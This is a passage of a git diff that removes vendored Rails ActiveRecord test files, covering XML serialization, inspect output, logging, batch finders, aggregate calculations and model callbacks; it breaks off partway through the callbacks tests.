-    assert xml.include?(%(<replies type="array"><reply>))
-    assert xml.include?(%(<title>The Second Topic of the day</title>))
-  end
-
-  def test_array_to_xml_including_has_many_association
-    xml = [ topics(:first), topics(:second) ].to_xml(:indent => 0, :skip_instruct => true, :include => :replies)
-    assert xml.include?(%(<replies type="array"><reply>))
-  end
-
-  def test_array_to_xml_including_methods
-    xml = [ topics(:first), topics(:second) ].to_xml(:indent => 0, :skip_instruct => true, :methods => [ :topic_id ])
-    assert xml.include?(%(<topic-id type="integer">#{topics(:first).topic_id}</topic-id>)), xml
-    assert xml.include?(%(<topic-id type="integer">#{topics(:second).topic_id}</topic-id>)), xml
-  end
-
-  def test_array_to_xml_including_has_one_association
-    xml = [ companies(:first_firm), companies(:rails_core) ].to_xml(:indent => 0, :skip_instruct => true, :include => :account)
-    assert xml.include?(companies(:first_firm).account.to_xml(:indent => 0, :skip_instruct => true))
-    assert xml.include?(companies(:rails_core).account.to_xml(:indent => 0, :skip_instruct => true))
-  end
-
-  def test_array_to_xml_including_belongs_to_association
-    xml = [ companies(:first_client), companies(:second_client), companies(:another_client) ].to_xml(:indent => 0, :skip_instruct => true, :include => :firm)
-    assert xml.include?(companies(:first_client).to_xml(:indent => 0, :skip_instruct => true))
-    assert xml.include?(companies(:second_client).firm.to_xml(:indent => 0, :skip_instruct => true))
-    assert xml.include?(companies(:another_client).firm.to_xml(:indent => 0, :skip_instruct => true))
-  end
-
-  def test_to_xml_including_belongs_to_association
-    xml = companies(:first_client).to_xml(:indent => 0, :skip_instruct => true, :include => :firm)
-    assert !xml.include?("<firm>")
-
-    xml = companies(:second_client).to_xml(:indent => 0, :skip_instruct => true, :include => :firm)
-    assert xml.include?("<firm>")
-  end
-
-  def test_to_xml_including_multiple_associations
-    xml = companies(:first_firm).to_xml(:indent => 0, :skip_instruct => true, :include => [ :clients, :account ])
-    assert_equal "<firm>", xml.first(6)
-    assert xml.include?(%(<account>))
-    assert xml.include?(%(<clients type="array"><client>))
-  end
-
-  def test_to_xml_including_multiple_associations_with_options
-    xml = companies(:first_firm).to_xml(
-      :indent  => 0, :skip_instruct => true,
-      :include => { :clients => { :only => :name } }
-    )
-
-    assert_equal "<firm>", xml.first(6)
-    assert xml.include?(%(<client><name>Summit</name></client>))
-    assert xml.include?(%(<clients type="array"><client>))
-  end
-
-  def test_to_xml_including_methods
-    xml = Company.new.to_xml(:methods => :arbitrary_method, :skip_instruct => true)
-    assert_equal "<company>", xml.first(9)
-    assert xml.include?(%(<arbitrary-method>I am Jack's profound disappointment</arbitrary-method>))
-  end
-
-  def test_to_xml_with_block
-    value = "Rockin' the block"
-    xml = Company.new.to_xml(:skip_instruct => true) do |xml|
-      xml.tag! "arbitrary-element", value
-    end
-    assert_equal "<company>", xml.first(9)
-    assert xml.include?(%(<arbitrary-element>#{value}</arbitrary-element>))
-  end
-
-  def test_type_name_with_module_should_handle_beginning
-    assert_equal 'ActiveRecord::Person', ActiveRecord::Base.send(:type_name_with_module, 'Person')
-    assert_equal '::Person', ActiveRecord::Base.send(:type_name_with_module, '::Person')
-  end
-
-  def test_to_param_should_return_string
-    assert_kind_of String, Client.find(:first).to_param
-  end
-
-  def test_inspect_class
-    assert_equal 'ActiveRecord::Base', ActiveRecord::Base.inspect
-    assert_equal 'LoosePerson(abstract)', LoosePerson.inspect
-    assert_match(/^Topic\(id: integer, title: string/, Topic.inspect)
-  end
-
-  def test_inspect_instance
-    topic = topics(:first)
-    assert_equal %(#<Topic id: 1, title: "The First Topic", author_name: "David", author_email_address: "david@loudthinking.com", written_on: "#{topic.written_on.to_s(:db)}", bonus_time: "#{topic.bonus_time.to_s(:db)}", last_read: "#{topic.last_read.to_s(:db)}", content: "Have a nice day", approved: false, replies_count: 1, parent_id: nil, parent_title: nil, type: nil, group: nil>), topic.inspect
-  end
-
-  def test_inspect_new_instance
-    assert_match /Topic id: nil/, Topic.new.inspect
-  end
-
-  def test_inspect_limited_select_instance
-    assert_equal %(#<Topic id: 1>), Topic.find(:first, :select => 'id', :conditions => 'id = 1').inspect
-    assert_equal %(#<Topic id: 1, title: "The First Topic">), Topic.find(:first, :select => 'id, title', :conditions => 'id = 1').inspect
-  end
-
-  def test_inspect_class_without_table
-    assert_equal "NonExistentTable(Table doesn't exist)", NonExistentTable.inspect
-  end
-
-  def test_attribute_for_inspect
-    t = topics(:first)
-    t.title = "The First Topic Now Has A Title With\nNewlines And More Than 50 Characters"
-
-    assert_equal %("#{t.written_on.to_s(:db)}"), t.attribute_for_inspect(:written_on)
-    assert_equal '"The First Topic Now Has A Title With\nNewlines And M..."', t.attribute_for_inspect(:title)
-  end
-
-  def test_becomes
-    assert_kind_of Reply, topics(:first).becomes(Reply)
-    assert_equal "The First Topic", topics(:first).becomes(Reply).title
-  end
-
-  def test_silence_sets_log_level_to_error_in_block
-    original_logger = ActiveRecord::Base.logger
-    log = StringIO.new
-    ActiveRecord::Base.logger = Logger.new(log)
-    ActiveRecord::Base.logger.level = Logger::DEBUG
-    ActiveRecord::Base.silence do
-      ActiveRecord::Base.logger.warn "warn"
-      ActiveRecord::Base.logger.error "error"
-    end
-    assert_equal "error\n", log.string
-  ensure
-    ActiveRecord::Base.logger = original_logger
-  end
-
-  def test_silence_sets_log_level_back_to_level_before_yield
-    original_logger = ActiveRecord::Base.logger
-    log = StringIO.new
-    ActiveRecord::Base.logger = Logger.new(log)
-    ActiveRecord::Base.logger.level = Logger::WARN
-    ActiveRecord::Base.silence do
-    end
-    assert_equal Logger::WARN, ActiveRecord::Base.logger.level
-  ensure
-    ActiveRecord::Base.logger = original_logger
-  end
-
-  def test_benchmark_with_log_level
-    original_logger = ActiveRecord::Base.logger
-    log = StringIO.new
-    ActiveRecord::Base.logger = Logger.new(log)
-    ActiveRecord::Base.logger.level = Logger::WARN
-    ActiveRecord::Base.benchmark("Debug Topic Count", Logger::DEBUG) { Topic.count }
-    ActiveRecord::Base.benchmark("Warn Topic Count",  Logger::WARN)  { Topic.count }
-    ActiveRecord::Base.benchmark("Error Topic Count", Logger::ERROR) { Topic.count }
-    assert_no_match /Debug Topic Count/, log.string
-    assert_match /Warn Topic Count/, log.string
-    assert_match /Error Topic Count/, log.string
-  ensure
-    ActiveRecord::Base.logger = original_logger
-  end
-
-  def test_benchmark_with_use_silence
-    original_logger = ActiveRecord::Base.logger
-    log = StringIO.new
-    ActiveRecord::Base.logger = Logger.new(log)
-    ActiveRecord::Base.benchmark("Logging", Logger::DEBUG, true) { ActiveRecord::Base.logger.debug "Loud" }
-    ActiveRecord::Base.benchmark("Logging", Logger::DEBUG, false)  { ActiveRecord::Base.logger.debug "Quiet" }
-    assert_no_match /Loud/, log.string
-    assert_match /Quiet/, log.string
-  ensure
-    ActiveRecord::Base.logger = original_logger
-  end
-
-  def test_create_with_custom_timestamps
-    custom_datetime = 1.hour.ago.beginning_of_day
-
-    %w(created_at created_on updated_at updated_on).each do |attribute|
-      parrot = LiveParrot.create(:name => "colombian", attribute => custom_datetime)
-      assert_equal custom_datetime, parrot[attribute]
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/batches_test.rb b/vendor/rails/activerecord/test/cases/batches_test.rb
deleted file mode 100644
index 3bf8bc8a..00000000
--- a/vendor/rails/activerecord/test/cases/batches_test.rb
+++ /dev/null
@@ -1,81 +0,0 @@
-require 'cases/helper'
-require 'models/post'
-
-class EachTest < ActiveRecord::TestCase
-  fixtures :posts
-
-  def setup
-    @posts = Post.all(:order => "id asc")
-    @total = Post.count
-  end
-  
-  def test_each_should_excecute_one_query_per_batch
-    assert_queries(Post.count + 1) do
-      Post.find_each(:batch_size => 1) do |post|
-        assert_kind_of Post, post
-      end
-    end
-  end
-
-  def test_each_should_raise_if_the_order_is_set
-    assert_raise(RuntimeError) do
-      Post.find_each(:order => "title") { |post| post }
-    end
-  end
-
-  def test_each_should_raise_if_the_limit_is_set
-    assert_raise(RuntimeError) do
-      Post.find_each(:limit => 1) { |post| post }
-    end
-  end
-  
-  def test_find_in_batches_should_return_batches
-    assert_queries(Post.count + 1) do
-      Post.find_in_batches(:batch_size => 1) do |batch|
-        assert_kind_of Array, batch
-        assert_kind_of Post, batch.first
-      end
-    end
-  end
-
-  def test_find_in_batches_should_start_from_the_start_option
-    assert_queries(Post.count) do
-      Post.find_in_batches(:batch_size => 1, :start => 2) do |batch|
-        assert_kind_of Array, batch
-        assert_kind_of Post, batch.first
-      end
-    end
-  end
-
-  def test_find_in_batches_shouldnt_excute_query_unless_needed
-    post_count = Post.count
-
-    assert_queries(2) do
-      Post.find_in_batches(:batch_size => post_count) {|batch| assert_kind_of Array, batch }
-    end
-
-    assert_queries(1) do
-      Post.find_in_batches(:batch_size => post_count + 1) {|batch| assert_kind_of Array, batch }
-    end
-  end
-
-  def test_find_in_batches_doesnt_clog_conditions
-    Post.find_in_batches(:conditions => {:id => posts(:welcome).id}) do
-      assert_nothing_raised { Post.find(posts(:thinking).id) }
-    end
-  end
-  
-  def test_each_should_raise_if_select_is_set_without_id
-    assert_raise(RuntimeError) do
-      Post.find_each(:select => :title, :batch_size => 1) { |post| post }
-    end
-  end
-
-  def test_each_should_execute_if_id_is_in_select
-    assert_queries(4) do
-      Post.find_each(:select => "id, title, type", :batch_size => 2) do |post|
-        assert_kind_of Post, post
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/cases/binary_test.rb b/vendor/rails/activerecord/test/cases/binary_test.rb
deleted file mode 100644
index 8545ba97..00000000
--- a/vendor/rails/activerecord/test/cases/binary_test.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-require "cases/helper"
-
-# Without using prepared statements, it makes no sense to test
-# BLOB data with DB2 or Firebird, because the length of a statement
-# is limited to 32KB.
-unless current_adapter?(:SybaseAdapter, :DB2Adapter, :FirebirdAdapter)
-  require 'models/binary'
-
-  class BinaryTest < ActiveRecord::TestCase
-    FIXTURES = %w(flowers.jpg example.log)
-
-    def test_load_save
-      Binary.delete_all
-
-      FIXTURES.each do |filename|
-        data = File.read(ASSETS_ROOT + "/#{filename}")
-        data.force_encoding('ASCII-8BIT') if data.respond_to?(:force_encoding)
-        data.freeze
-
-        bin = Binary.new(:data => data)
-        assert_equal data, bin.data, 'Newly assigned data differs from original'
-
-        bin.save!
-        assert_equal data, bin.data, 'Data differs from original after save'
-
-        assert_equal data, bin.reload.data, 'Reloaded data differs from original'
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/calculations_test.rb b/vendor/rails/activerecord/test/cases/calculations_test.rb
deleted file mode 100644
index d5bb3589..00000000
--- a/vendor/rails/activerecord/test/cases/calculations_test.rb
+++ /dev/null
@@ -1,360 +0,0 @@
-require "cases/helper"
-require 'models/company'
-require 'models/topic'
-require 'models/edge'
-require 'models/owner'
-require 'models/pet'
-require 'models/toy'
-require 'models/club'
-require 'models/organization'
-
-Company.has_many :accounts
-
-class NumericData < ActiveRecord::Base
-  self.table_name = 'numeric_data'
-end
-
-class CalculationsTest < ActiveRecord::TestCase
-  fixtures :companies, :accounts, :topics, :owners, :pets, :toys
-
-  def test_should_sum_field
-    assert_equal 318, Account.sum(:credit_limit)
-  end
-
-  def test_should_average_field
-    value = Account.average(:credit_limit)
-    assert_equal 53.0, value
-  end
-
-  def test_should_return_nil_as_average
-    assert_nil NumericData.average(:bank_balance)
-  end
-  
-  def test_type_cast_calculated_value_should_convert_db_averages_of_fixnum_class_to_decimal
-    assert_equal 0, NumericData.send(:type_cast_calculated_value, 0, nil, 'avg')
-    assert_equal 53.0, NumericData.send(:type_cast_calculated_value, 53, nil, 'avg')
-  end
-
-  def test_should_get_maximum_of_field
-    assert_equal 60, Account.maximum(:credit_limit)
-  end
-
-  def test_should_get_maximum_of_field_with_include
-    assert_equal 50, Account.maximum(:credit_limit, :include => :firm, :conditions => "companies.name != 'Summit'")
-  end
-
-  def test_should_get_maximum_of_field_with_scoped_include
-    Account.with_scope :find => { :include => :firm, :conditions => "companies.name != 'Summit'" } do
-      assert_equal 50, Account.maximum(:credit_limit)
-    end
-  end
-
-  def test_should_get_minimum_of_field
-    assert_equal 50, Account.minimum(:credit_limit)
-  end
-
-  def test_should_group_by_field
-    c = Account.sum(:credit_limit, :group => :firm_id)
-    [1,6,2].each { |firm_id| assert c.keys.include?(firm_id) }
-  end
-
-  def test_should_group_by_multiple_fields
-    c = Account.count(:all, :group => ['firm_id', :credit_limit])
-    [ [nil, 50], [1, 50], [6, 50], [6, 55], [9, 53], [2, 60] ].each { |firm_and_limit| assert c.keys.include?(firm_and_limit) }
-  end
-
-  def test_should_group_by_multiple_fields_having_functions
-    c = Topic.count(:all, :group => [:author_name, 'COALESCE(type, title)'])
-    assert_equal 1, c[["Nick", "The Third Topic of the day"]]
-    assert_equal 1, c[["Mary", "Reply"]]
-    assert_equal 1, c[["David", "The First Topic"]]
-    assert_equal 1, c[["Carl", "Reply"]]
-  end
-
-  def test_should_group_by_summed_field
-    c = Account.sum(:credit_limit, :group => :firm_id)
-    assert_equal 50,   c[1]
-    assert_equal 105,  c[6]
-    assert_equal 60,   c[2]
-  end
-
-  def test_should_order_by_grouped_field
-    c = Account.sum(:credit_limit, :group => :firm_id, :order => "firm_id")
-    assert_equal [1, 2, 6, 9], c.keys.compact
-  end
-
-  def test_should_order_by_calculation
-    c = Account.sum(:credit_limit, :group => :firm_id, :order => "sum_credit_limit desc, firm_id")
-    assert_equal [105, 60, 53, 50, 50], c.keys.collect { |k| c[k] }
-    assert_equal [6, 2, 9, 1], c.keys.compact
-  end
-
-  def test_should_limit_calculation
-    c = Account.sum(:credit_limit, :conditions => "firm_id IS NOT NULL",
-                    :group => :firm_id, :order => "firm_id", :limit => 2)
-    assert_equal [1, 2], c.keys.compact
-  end
-
-  def test_should_limit_calculation_with_offset
-    c = Account.sum(:credit_limit, :conditions => "firm_id IS NOT NULL",
-                    :group => :firm_id, :order => "firm_id", :limit => 2, :offset => 1)
-    assert_equal [2, 6], c.keys.compact
-  end
-
-  def test_should_group_by_summed_field_having_condition
-    c = Account.sum(:credit_limit, :group => :firm_id,
-                                   :having => 'sum(credit_limit) > 50')
-    assert_nil        c[1]
-    assert_equal 105, c[6]
-    assert_equal 60,  c[2]
-  end
-
-  def test_should_group_by_summed_field_having_sanitized_condition
-    c = Account.sum(:credit_limit, :group => :firm_id,
-                                   :having => ['sum(credit_limit) > ?', 50])
-    assert_nil        c[1]
-    assert_equal 105, c[6]
-    assert_equal 60,  c[2]
-  end
-
-  def test_should_group_by_summed_association
-    c = Account.sum(:credit_limit, :group => :firm)
-    assert_equal 50,   c[companies(:first_firm)]
-    assert_equal 105,  c[companies(:rails_core)]
-    assert_equal 60,   c[companies(:first_client)]
-  end
-
-  def test_should_sum_field_with_conditions
-    assert_equal 105, Account.sum(:credit_limit, :conditions => 'firm_id = 6')
-  end
-
-  def test_should_return_zero_if_sum_conditions_return_nothing
-    assert_equal 0, Account.sum(:credit_limit, :conditions => '1 = 2')
-    assert_equal 0, companies(:rails_core).companies.sum(:id, :conditions => '1 = 2')
-  end
-
-  def test_sum_should_return_valid_values_for_decimals
-    NumericData.create(:bank_balance => 19.83)
-    assert_equal 19.83, NumericData.sum(:bank_balance)
-  end
-
-  def test_should_group_by_summed_field_with_conditions
-    c = Account.sum(:credit_limit, :conditions => 'firm_id > 1',
-                                   :group => :firm_id)
-    assert_nil        c[1]
-    assert_equal 105, c[6]
-    assert_equal 60,  c[2]
-  end
-
-  def test_should_group_by_summed_field_with_conditions_and_having
-    c = Account.sum(:credit_limit, :conditions => 'firm_id > 1',
-                                   :group => :firm_id,
-                                   :having => 'sum(credit_limit) > 60')
-    assert_nil        c[1]
-    assert_equal 105, c[6]
-    assert_nil        c[2]
-  end
-
-  def test_should_group_by_fields_with_table_alias
-    c = Account.sum(:credit_limit, :group => 'accounts.firm_id')
-    assert_equal 50,  c[1]
-    assert_equal 105, c[6]
-    assert_equal 60,  c[2]
-  end
-
-  def test_should_calculate_with_invalid_field
-    assert_equal 6, Account.calculate(:count, '*')
-    assert_equal 6, Account.calculate(:count, :all)
-  end
-
-  def test_should_calculate_grouped_with_invalid_field
-    c = Account.count(:all, :group => 'accounts.firm_id')
-    assert_equal 1, c[1]
-    assert_equal 2, c[6]
-    assert_equal 1, c[2]
-  end
-
-  def test_should_calculate_grouped_association_with_invalid_field
-    c = Account.count(:all, :group => :firm)
-    assert_equal 1, c[companies(:first_firm)]
-    assert_equal 2, c[companies(:rails_core)]
-    assert_equal 1, c[companies(:first_client)]
-  end
-
-  def test_should_group_by_association_with_non_numeric_foreign_key
-    ActiveRecord::Base.connection.expects(:select_all).returns([{"count_all" => 1, "firm_id" => "ABC"}])
-
-    firm = mock()
-    firm.expects(:id).returns("ABC")
-    firm.expects(:class).returns(Firm)
-    Company.expects(:find).with(["ABC"]).returns([firm])
-
-    column = mock()
-    column.expects(:name).at_least_once.returns(:firm_id)
-    column.expects(:type_cast).with("ABC").returns("ABC")
-    Account.expects(:columns).at_least_once.returns([column])
-
-    c = Account.count(:all, :group => :firm)
-    first_key = c.keys.first
-    assert_equal Firm, first_key.class
-    assert_equal 1, c[first_key]
-  end
-
-  def test_should_calculate_grouped_association_with_foreign_key_option
-    Account.belongs_to :another_firm, :class_name => 'Firm', :foreign_key => 'firm_id'
-    c = Account.count(:all, :group => :another_firm)
-    assert_equal 1, c[companies(:first_firm)]
-    assert_equal 2, c[companies(:rails_core)]
-    assert_equal 1, c[companies(:first_client)]
-  end
-
-  def test_should_not_modify_options_when_using_includes
-    options = {:conditions => 'companies.id > 1', :include => :firm}
-    options_copy = options.dup
-
-    Account.count(:all, options)
-    assert_equal options_copy, options
-  end
-
-  def test_should_calculate_grouped_by_function
-    c = Company.count(:all, :group => "UPPER(#{QUOTED_TYPE})")
-    assert_equal 2, c[nil]
-    assert_equal 1, c['DEPENDENTFIRM']
-    assert_equal 3, c['CLIENT']
-    assert_equal 2, c['FIRM']
-  end
-
-  def test_should_calculate_grouped_by_function_with_table_alias
-    c = Company.count(:all, :group => "UPPER(companies.#{QUOTED_TYPE})")
-    assert_equal 2, c[nil]
-    assert_equal 1, c['DEPENDENTFIRM']
-    assert_equal 3, c['CLIENT']
-    assert_equal 2, c['FIRM']
-  end
-
-  def test_should_not_overshadow_enumerable_sum
-    assert_equal 6, [1, 2, 3].sum(&:abs)
-  end
-
-  def test_should_sum_scoped_field
-    assert_equal 15, companies(:rails_core).companies.sum(:id)
-  end
-
-  def test_should_sum_scoped_field_with_from
-    assert_equal Club.count, Organization.clubs.count
-  end
-
-  def test_should_sum_scoped_field_with_conditions
-    assert_equal 8,  companies(:rails_core).companies.sum(:id, :conditions => 'id > 7')
-  end
-
-  def test_should_group_by_scoped_field
-    c = companies(:rails_core).companies.sum(:id, :group => :name)
-    assert_equal 7, c['Leetsoft']
-    assert_equal 8, c['Jadedpixel']
-  end
-
-  def test_should_group_by_summed_field_with_conditions_and_having
-    c = companies(:rails_core).companies.sum(:id, :group => :name,
-                                                  :having => 'sum(id) > 7')
-    assert_nil      c['Leetsoft']
-    assert_equal 8, c['Jadedpixel']
-  end
-
-  def test_should_reject_invalid_options
-    assert_nothing_raised do
-      [:count, :sum].each do |func|
-        # empty options are valid
-        Company.send(:validate_calculation_options, func)
-        # these options are valid for all calculations
-        [:select, :conditions, :joins, :order, :group, :having, :distinct].each do |opt|
-          Company.send(:validate_calculation_options, func, opt => true)
-        end
-      end
-
-      # :include is only valid on :count
-      Company.send(:validate_calculation_options, :count, :include => true)
-    end
-
-    assert_raise(ArgumentError) { Company.send(:validate_calculation_options, :sum,   :foo => :bar) }
-    assert_raise(ArgumentError) { Company.send(:validate_calculation_options, :count, :foo => :bar) }
-  end
-
-  def test_should_count_selected_field_with_include
-    assert_equal 6, Account.count(:distinct => true, :include => :firm)
-    assert_equal 4, Account.count(:distinct => true, :include => :firm, :select => :credit_limit)
-  end
-
-  def test_should_count_manual_select_with_include
-    assert_equal 6, Account.count(:select => "DISTINCT accounts.id", :include => :firm)
-  end
-
-  def test_count_with_column_parameter
-    assert_equal 5, Account.count(:firm_id)
-  end
-
-  def test_count_with_column_and_options_parameter
-    assert_equal 2, Account.count(:firm_id, :conditions => "credit_limit = 50")
-  end
-
-  def test_count_with_no_parameters_isnt_deprecated
-    assert_not_deprecated { Account.count }
-  end
-
-  def test_count_with_too_many_parameters_raises
-    assert_raise(ArgumentError) { Account.count(1, 2, 3) }
-  end
-
-  def test_count_with_scoped_has_many_through_association
-    assert_equal 1, owners(:blackbeard).toys.with_name('Bone').count
-  end
-
-  def test_should_sum_expression
-    assert_equal 636, Account.sum("2 * credit_limit").to_i
-  end
-
-  def test_count_with_from_option
-    assert_equal Company.count(:all), Company.count(:all, :from => 'companies')
-    assert_equal Account.count(:all, :conditions => "credit_limit = 50"),
-        Account.count(:all, :from => 'accounts', :conditions => "credit_limit = 50")
-    assert_equal Company.count(:type, :conditions => {:type => "Firm"}),
-        Company.count(:type, :conditions => {:type => "Firm"}, :from => 'companies')
-  end
-
-  def test_sum_with_from_option
-    assert_equal Account.sum(:credit_limit), Account.sum(:credit_limit, :from => 'accounts')
-    assert_equal Account.sum(:credit_limit, :conditions => "credit_limit > 50"),
-        Account.sum(:credit_limit, :from => 'accounts', :conditions => "credit_limit > 50")
-  end
-
-  def test_average_with_from_option
-    assert_equal Account.average(:credit_limit), Account.average(:credit_limit, :from => 'accounts')
-    assert_equal Account.average(:credit_limit, :conditions => "credit_limit > 50"),
-        Account.average(:credit_limit, :from => 'accounts', :conditions => "credit_limit > 50")
-  end
-
-  def test_minimum_with_from_option
-    assert_equal Account.minimum(:credit_limit), Account.minimum(:credit_limit, :from => 'accounts')
-    assert_equal Account.minimum(:credit_limit, :conditions => "credit_limit > 50"),
-        Account.minimum(:credit_limit, :from => 'accounts', :conditions => "credit_limit > 50")
-  end
-
-  def test_maximum_with_from_option
-    assert_equal Account.maximum(:credit_limit), Account.maximum(:credit_limit, :from => 'accounts')
-    assert_equal Account.maximum(:credit_limit, :conditions => "credit_limit > 50"),
-        Account.maximum(:credit_limit, :from => 'accounts', :conditions => "credit_limit > 50")
-  end
-
-  def test_from_option_with_specified_index
-    if Edge.connection.adapter_name == 'MySQL'
-      assert_equal Edge.count(:all), Edge.count(:all, :from => 'edges USE INDEX(unique_edge_index)')
-      assert_equal Edge.count(:all, :conditions => 'sink_id < 5'),
-          Edge.count(:all, :from => 'edges USE INDEX(unique_edge_index)', :conditions => 'sink_id < 5')
-    end
-  end
-
-  def test_from_option_with_table_different_than_class
-    assert_equal Account.count(:all), Company.count(:all, :from => 'accounts')
-  end
-
-end
diff --git a/vendor/rails/activerecord/test/cases/callbacks_observers_test.rb b/vendor/rails/activerecord/test/cases/callbacks_observers_test.rb
deleted file mode 100644
index 87de5249..00000000
--- a/vendor/rails/activerecord/test/cases/callbacks_observers_test.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-require "cases/helper"
-
-class Comment < ActiveRecord::Base
-  attr_accessor :callers
-
-  before_validation :record_callers
-
-  def after_validation
-    record_callers
-  end
-
-  def record_callers
-    callers << self.class if callers
-  end
-end
-
-class CommentObserver < ActiveRecord::Observer
-  attr_accessor :callers
-
-  def after_validation(model)
-    callers << self.class if callers
-  end
-end
-
-class CallbacksObserversTest < ActiveRecord::TestCase
-  def test_model_callbacks_fire_before_observers_are_notified
-    callers = []
-
-    comment = Comment.new
-    comment.callers = callers
-
-    CommentObserver.instance.callers = callers
-
-    comment.valid?
-
-    assert_equal [Comment, Comment, CommentObserver], callers, "model callbacks did not fire before observers were notified"
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/callbacks_test.rb b/vendor/rails/activerecord/test/cases/callbacks_test.rb
deleted file mode 100644
index 95fddaee..00000000
--- a/vendor/rails/activerecord/test/cases/callbacks_test.rb
+++ /dev/null
@@ -1,438 +0,0 @@
-require "cases/helper"
-
-class CallbackDeveloper < ActiveRecord::Base
-  set_table_name 'developers'
-
-  class << self
-    def callback_string(callback_method)
-      "history << [#{callback_method.to_sym.inspect}, :string]"
-    end
-
-    def callback_proc(callback_method)
-      Proc.new { |model| model.history << [callback_method, :proc] }
-    end
-
-    def define_callback_method(callback_method)
-      define_method("#{callback_method}_method") do |model|
-        model.history << [callback_method, :method]
-      end
-    end
-
-    def callback_object(callback_method)
-      klass = Class.new
-      klass.send(:define_method, callback_method) do |model|
-        model.history << [callback_method, :object]
-      end
-      klass.new
-    end
-  end
-
-  ActiveRecord::Callbacks::CALLBACKS.each do |callback_method|
-    callback_method_sym = callback_method.to_sym
-    define_callback_method(callback_method_sym)
-    send(callback_method, callback_method_sym)
-    send(callback_method, callback_string(callback_method_sym))
-    send(callback_method, callback_proc(callback_method_sym))
-    send(callback_method, callback_object(callback_method_sym))
-    send(callback_method) { |model| model.history << [callback_method_sym, :block] }
-  end
-
-  def history
-    @history ||= []
-  end
-
-  # after_initialize and after_find are invoked only if instance methods have been defined.
-  def after_initialize
-  end
-
-  def after_find
-  end
-end
-
-class ParentDeveloper < ActiveRecord::Base
-  set_table_name 'developers'
-  attr_accessor :after_save_called
-  before_validation {|record| record.after_save_called = true}
-end
-
-class ChildDeveloper < ParentDeveloper
-
-end
-
-class RecursiveCallbackDeveloper < ActiveRecord::Base
-  set_table_name 'developers'
-
-  before_save :on_before_save
-  after_save :on_after_save
-
-  attr_reader :on_before_save_called, :on_after_save_called
-
-  def on_before_save
-    @on_before_save_called ||= 0
-    @on_before_save_called += 1
-    save unless @on_before_save_called > 1
-  end
-
-  def on_after_save
-    @on_after_save_called ||= 0
-    @on_after_save_called += 1
-    save unless @on_after_save_called > 1
-  end
-end
-
-class ImmutableDeveloper < ActiveRecord::Base
-  set_table_name 'developers'
-
-  validates_inclusion_of :salary, :in => 50000..200000
-
-  before_save :cancel
-  before_destroy :cancel
-
-  def cancelled?
-    @cancelled == true
-  end
-
-  private
-    def cancel
-      @cancelled = true
-      false
-    end
-end
-
-class ImmutableMethodDeveloper < ActiveRecord::Base
-  set_table_name 'developers'
-
-  validates_inclusion_of :salary, :in => 50000..200000
-
-  def cancelled?
-    @cancelled == true
-  end
-
-  def before_save
-    @cancelled = true
-    false
-  end
-
-  def before_destroy
-    @cancelled = true
-    false
-  end
-end
-
-class CallbackCancellationDeveloper < ActiveRecord::Base
-  set_table_name 'developers'
-
-  attr_reader   :after_save_called, :after_create_called, :after_update_called, :after_destroy_called
-  attr_accessor :cancel_before_save, :cancel_before_create, :cancel_before_update, :cancel_before_destroy
-
-  def before_save;    !@cancel_before_save;    end
-  def before_create;  !@cancel_before_create;  end
-  def before_update;  !@cancel_before_update;  end
-  def before_destroy; !@cancel_before_destroy; end
-
-  def after_save;      @after_save_called    = true; end
-  def after_update;    @after_update_called  = true; end
-  def after_create;    @after_create_called  = true; end
-  def after_destroy;   @after_destroy_called = true; end
-end
-
-class CallbacksTest < ActiveRecord::TestCase
-  fixtures :developers
-
-  def test_initialize
-    david = CallbackDeveloper.new
-    assert_equal [
-      [ :after_initialize,            :string ],
-      [ :after_initialize,            :proc   ],
-      [ :after_initialize,            :object ],
-      [ :after_initialize,            :block  ],
-    ], david.history
-  end
-
-  def test_find
-    david = CallbackDeveloper.find(1)
-    assert_equal [
-      [ :after_find,            :string ],
-      [ :after_find,            :proc   ],
-      [ :after_find,            :object ],
-      [ :after_find,            :block  ],
-      [ :after_initialize,            :string ],
-      [ :after_initialize,            :proc   ],
-      [ :after_initialize,            :object ],
-      [ :after_initialize,            :block  ],
-    ], david.history
-  end
-
-  def test_new_valid?
-    david = CallbackDeveloper.new
-    david.valid?
-    assert_equal [
-      [ :after_initialize,            :string ],
-      [ :after_initialize,            :proc   ],
-      [ :after_initialize,            :object ],
-      [ :after_initialize,            :block  ],
-      [ :before_validation,           :string ],
-      [ :before_validation,           :proc   ],
-      [ :before_validation,           :object ],
-      [ :before_validation,           :block  ],
-      [ :before_validation_on_create, :string ],
-      [ :before_validation_on_create, :proc   ],
-      [ :before_validation_on_create, :object ],
-      [ :before_validation_on_create, :block  ],
-      [ :after_validation,            :string ],
-      [ :after_validation,            :proc   ],
-      [ :after_validation,            :object ],
-      [ :after_validation,            :block  ],
-      [ :after_validation_on_create,  :string ],
-      [ :after_validation_on_create,  :proc   ],
-      [ :after_validation_on_create,  :object ],
-      [ :after_validation_on_create,  :block  ]
-    ], david.history
-  end
-
-  def test_existing_valid?
-    david = CallbackDeveloper.find(1)
-    david.valid?
-    assert_equal [
-      [ :after_find,            :string ],
-      [ :after_find,            :proc   ],
-      [ :after_find,            :object ],
-      [ :after_find,            :block  ],
-      [ :after_initialize,            :string ],
-      [ :after_initialize,            :proc   ],
-      [ :after_initialize,            :object ],
-      [ :after_initialize,            :block  ],
-      [ :before_validation,           :string ],
-      [ :before_validation,           :proc   ],
-      [ :before_validation,           :object ],
-      [ :before_validation,           :block  ],
-      [ :before_validation_on_update, :string ],
-      [ :before_validation_on_update, :proc   ],
-      [ :before_validation_on_update, :object ],
-      [ :before_validation_on_update, :block  ],
-      [ :after_validation,            :string ],
-      [ :after_validation,            :proc   ],
-      [ :after_validation,            :object ],
-      [ :after_validation,            :block  ],
-      [ :after_validation_on_update,  :string ],
-      [ :after_validation_on_update,  :proc   ],
-      [ :after_validation_on_update,  :object ],
-      [ :after_validation_on_update,  :block  ]
-    ], david.history
-  end
-
-  def test_create
-    david = CallbackDeveloper.create('name' => 'David', 'salary' => 1000000)
-    assert_equal [
-      [ :after_initialize,            :string ],
-      [ :after_initialize,            :proc   ],
-      [ :after_initialize,            :object ],
-      [ :after_initialize,            :block  ],
-      [ :before_validation,           :string ],
-      [ :before_validation,           :proc   ],
-      [ :before_validation,           :object ],
-      [ :before_validation,           :block  ],
